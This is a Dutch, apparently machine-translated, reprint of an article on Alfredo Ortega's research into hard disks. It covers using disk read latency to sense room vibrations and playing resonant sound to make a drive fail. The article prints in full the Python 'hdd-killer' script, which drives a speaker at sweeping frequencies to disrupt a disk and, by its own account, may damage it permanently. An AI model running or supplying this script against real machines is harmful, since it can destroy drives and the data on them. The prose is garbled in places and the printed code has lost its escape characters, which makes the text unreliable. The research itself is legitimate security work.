Waarom je niet tegen je harde schijf moet schreeuwen

Waarom je niet tegen je harde schijf moet schreeuwen

Op de computerbeveiligingsconferentie Ekoparty 2017 in Buenos Aires liet de Argentijnse hacker Alfredo Ortega een zeer interessante ontwikkeling zien: een systeem voor het heimelijk afluisteren van gebouwen zonder gebruik van een microfoon. Geluid rechtstreeks op de harde schijf opgenomen!

De HDD vangt voornamelijk laagfrequente geluiden, voetstappen en andere trillingen met een hoge intensiteit op. Menselijke spraak kan nog niet worden herkend, hoewel wetenschappers dat wel doen doen onderzoek in deze richting (spraakherkenning door laagfrequente trillingen, die bijvoorbeeld worden opgenomen vanaf een gyroscoop of HDD).

Geluid is de trilling van lucht of een ander medium. Een persoon neemt ze waar via het trommelvlies, dat trillingen naar het binnenoor overbrengt. De microfoon is grofweg als een oor ontworpen - ook hier worden trillingen geregistreerd door een dun membraan, dat een elektrische impuls opwekt. De harde schijf is uiteraard ook onderhevig aan microscopische trillingen als gevolg van schommelingen in de omgevingslucht. Dit is zelfs bekend uit de technische kenmerken van HDD's: fabrikanten geven meestal het maximaal toegestane trillingsniveau aan, en de harde schijf zelf probeert deze vaak in een trillingsbestendige container van rubber of ander isolatiemateriaal te plaatsen. Hieruit kan gemakkelijk worden geconcludeerd dat geluiden kunnen worden opgenomen met behulp van de HDD. Het enige dat overblijft is uitzoeken hoe.

Alfredo Ortega stelde een unieke versie van een zijkanaalaanval voor, namelijk een tijdaanval. Deze aanval is gebaseerd op de veronderstelling dat er op verschillende tijdstippen verschillende bewerkingen op het apparaat worden uitgevoerd, afhankelijk van de gegeven invoergegevens. In dit geval zijn de “invoergegevens” de trillingen van de leeskop en de HDD-schijf, die correleren met de trillingen van de omgeving, dat wil zeggen met geluid. Door de rekentijd te meten en een statistische analyse van de gegevens uit te voeren, kunnen dus de trillingen van de kop/schotel en daarmee de trillingen van het medium worden gemeten. Hoe langer de vertraging bij het lezen van gegevens, hoe sterker de HDD-trillingen en dus hoe luider het geluid.

Hoe trillingen van harde schijven meten? Heel eenvoudig: voer gewoon de systeemoproep uit read () - en registreer de tijd die nodig is om te voltooien. Met moderne besturingssystemen kunt u de timing van systeemoproepen met een nauwkeurigheid van nanoseconden aflezen.

De snelheid waarmee informatie uit een sector wordt gelezen, hangt af van de positie van de kop en de schotel, wat correleert met trillingen van de HDD-behuizing. Dat is alles.

Statistische analyse wordt uitgevoerd met behulp van een eenvoudig Kscope-hulpprogramma. Zoals ze zeggen, alles wat ingenieus is, is eenvoudig.

Waarom je niet tegen je harde schijf moet schreeuwen
Kscope-hulpprogramma (stat() syscall)

Kscope is een klein hulpprogramma voor het visualiseren van kleine verschillen in de uitvoeringstijden van systeemaanroepen. Brongepubliceerd op GitHub.

In een aparte opslagplaats HDD-tijd er is een versie van het hulpprogramma geconfigureerd voor een tijdaanval op de harde schijf, dat wil zeggen geconfigureerd om de systeemoproep te analyseren read ().

Demonstratie van geluidsopname met behulp van HDD, bediening van het Kscope-hulpprogramma

Speel video

Op deze manier kan spraak natuurlijk niet worden begrepen, maar de HDD is prima geschikt als trillingssensor. U kunt bijvoorbeeld registreren of een persoon die harde schoenen draagt ​​of op blote voeten een kamer binnenkomt met een computer (als de aanvaller zachte sportschoenen draagt ​​of er een dik tapijt op de vloer ligt, kan de HDD waarschijnlijk geen trillingen registreren - dit is de moeite waard om te controleren). De computer is in staat gebroken glas of andere incidenten met een sterke geluidsintensiteit te registreren. Dat wil zeggen dat de harde schijf kan dienen als een soort detectiesysteem voor ongeoorloofde inbraak.

HDD-moordenaar

Overigens kan een vergelijkbare techniek worden gebruikt om harde schijven uit te schakelen. Hier vangen we echter geen trillingen van de harde schijf op, maar genereren we trillingen die naar de harde schijf worden gestuurd. Als je audio afspeelt via een luidspreker met een frequentie die resoneert met de frequentie van de harde schijf, zal het systeem het apparaat al snel uitschakelen met een I/O-fout (de kernel). Linux (Dit schakelt de harde schijf na 120 seconden volledig uit.) De harde schijf zelf kan onherstelbaar beschadigd raken.

Waarom je niet tegen je harde schijf moet schreeuwen
kern Linux De harde schijf schakelde uit na 120 seconden geluid af te spelen op een resonantiefrequentie via de Edifier r19u USB-luidspreker. De luidspreker stond aan op ongeveer een kwart van zijn vermogen (minder dan 100 mW) en was op 20 cm afstand van de harde schijf geplaatst, gericht op de tafel om de trillingen te versterken. Film met een demonstratie van de HDD-killer

Het is merkwaardig dat dergelijke ‘aanvallen’ op harde schijven in het dagelijks leven soms volledig per ongeluk plaatsvinden. In september 2016 werd het datacentrum van ING Bank bijvoorbeeld gedwongen de activiteiten tien uur lang op te schorten na een brandoefening. Tientallen harde schijven zijn defect door het luide geluid van inert gas dat onder hoge druk uit cilinders vrijkomt. Het geluid was erg luid (meer dan 130 dB), maar je kunt niet eens tegen de harde schijven schreeuwen - dit vergroot de vertraging bij de toegang tot de harde schijf.

Demonstratie van menselijk geschreeuw tegen harde schijven in een datacenter. Latentiemeting

Speel video

Om het resonerende geluid te genereren, schreef Alfredo Ortega een Python-script genaamd hdd-killer (videodemonstratie).

HDD killer-script Het is vrij klein, dus je kunt het hier in zijn geheel publiceren.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Bron: www.habr.com

Koop betrouwbare hosting voor sites met DDoS-bescherming, VPS VDS-servers 🔥 Koop betrouwbare websitehosting met DDoS-bescherming, VPS- en VDS-servers | ProHoster